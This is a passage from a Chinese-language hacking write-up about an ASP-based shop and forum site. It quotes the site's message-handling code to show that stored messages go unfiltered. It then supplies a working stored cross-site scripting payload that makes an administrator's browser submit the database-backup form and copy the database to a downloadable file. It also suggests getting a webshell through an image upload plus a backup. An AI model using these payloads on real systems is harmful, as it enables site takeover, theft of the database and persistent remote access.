|
到前台用123456登陆。成功!

跨站 问题发生在会员留言那里:mymsg_hand1.asp
sql="select * from sms" set rs=server.createobject("adodb.recordset") rs.open sql,conn,1,3 rs.addnew rs("name")="admin" neirong=request.form("neirong") ///入库的时候没有过滤 neirong=replace(neirong,"=======","<font color=darkgray>======") rs("neirong")=neirong rs("riqi")=now() rs("fname")=request.cookies("cnhww")("username") rs.update rs.close set rs=nothing
response.write "<script language='javascript'>" response.write "alert('操作成功,已向管理员发送一条站内消息!');" response.write "location.href='user.asp?action=famess';" response.write "</script>" response.end
conn.close set conn=nothing 我们再看出库的时候有没有过滤呢? Hand1.asp:
set rs=Server.CreateObject("ADODB.recordset") sql="select * from sms where (name='管理员' or name='admin') and zuti='0' order by riqi desc" rs.open sql,conn,1,3
if rs.eof and rs.bof then response.write "<tr><td>收件箱中没有消息。</td></tr>" else
......中间省略............
do while not rs.eof and pages>0 neirong=rs("neirong") riqi=rs("riqi") isnew=rs("isnew") fname=rs("fname") id=rs("id") if pages<10 then response.write "<tr><td height=15></td></tr>" %>
......中间省略............ <hr color=#e7e7e7><BR> <%=replace(neirong,vbCRLF,"<BR>")%><br> </td></tr> 在输入的时候只把回车换成了<br>.我们只要在写跨站代码的时候别加回车就行了! 在留言那里写上:
<script>var op = window.open('backdata.asp');setTimeout("back()",2000);function back() {var form=op.document.forms[0];form.DBpath.value="../bbs/data/#wrtxcnshop.asp";form.bkDBname.value="test.mdb";form.submit();</script> 这样在管理员查看留言的时候就会自动打开数据库备份页进行数据库备份,备份后会在databackup目录下生成一个test.mdb
 别的漏洞还有很多 有兴趣的朋友自己再看看代码吧... 拿SHELL的话冲进后台上传个图片备份吧。 上一页 [1] [2] [3] |